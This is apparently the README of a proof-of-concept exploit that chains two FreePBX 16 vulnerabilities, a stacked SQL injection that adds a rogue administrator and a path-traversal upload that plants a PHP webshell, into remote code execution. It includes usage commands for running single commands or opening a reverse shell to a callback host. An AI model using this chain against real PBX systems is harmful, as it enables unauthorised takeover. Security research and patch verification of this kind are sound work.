FreePBX 16 — Unauthenticated SQLi to RCE

Proof-of-concept exploit chaining two FreePBX vulnerabilities to go from zero access to remote code execution on FreePBX 16.

CVE	Component	Impact
CVE-2025-57819	Endpoint module loader (brand parameter)	Unauthenticated stacked SQL injection
CVE-2025-61678	Endpoint Manager firmware uploader (fwbrand parameter)	Authenticated arbitrary file upload (path traversal)

How it works

1. Create an admin (CVE-2025-57819) — a stacked SQL injection reachable without authentication via the namespaced endpoint loader is used to INSERT a brand-new full-access administrator directly into the ampusers table.
2. Authenticate — the PoC logs into the admin panel as the freshly created user.
3. Drop a webshell (CVE-2025-61678) — the Endpoint Manager firmware upload handler is abused with a ../../../var/www/html/<dir> traversal in fwbrand to write a PHP webshell into the web root.
4. Execute — run a single command or receive an interactive reverse shell.

Affected versions

FreePBX 16 (Endpoint module prior to 16.0.92). Also patched in 17.0.6. Update to a fixed release.

Usage

# single command
python3 exploit.py --rhost pbx.example.com --command "id"

# interactive reverse shell (auto-listener via pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# plain HTTP / custom port
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

Options

Flag	Description
--rhost	Target host (required)
--rport	Target port (default 443)
--http	Use HTTP instead of HTTPS
--lhost / --lport	Reverse-shell callback address
--command	Run a single command instead of a shell

Requirements

pip install requests pwntools

Disclaimer

For authorized security testing and educational purposes only. Use it exclusively on systems you own or have explicit written permission to test. The author assumes no liability for misuse.

Keywords

FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk · CVE-2025-57819 · CVE-2025-61678 · unauthenticated SQL injection · stacked query injection · endpoint module · Endpoint Manager · authenticated file upload · path traversal · remote code execution · RCE · PoC · exploit · VoIP security

---

linkedin: ehxb · medium.com/@Ehxb · github 0xEhxb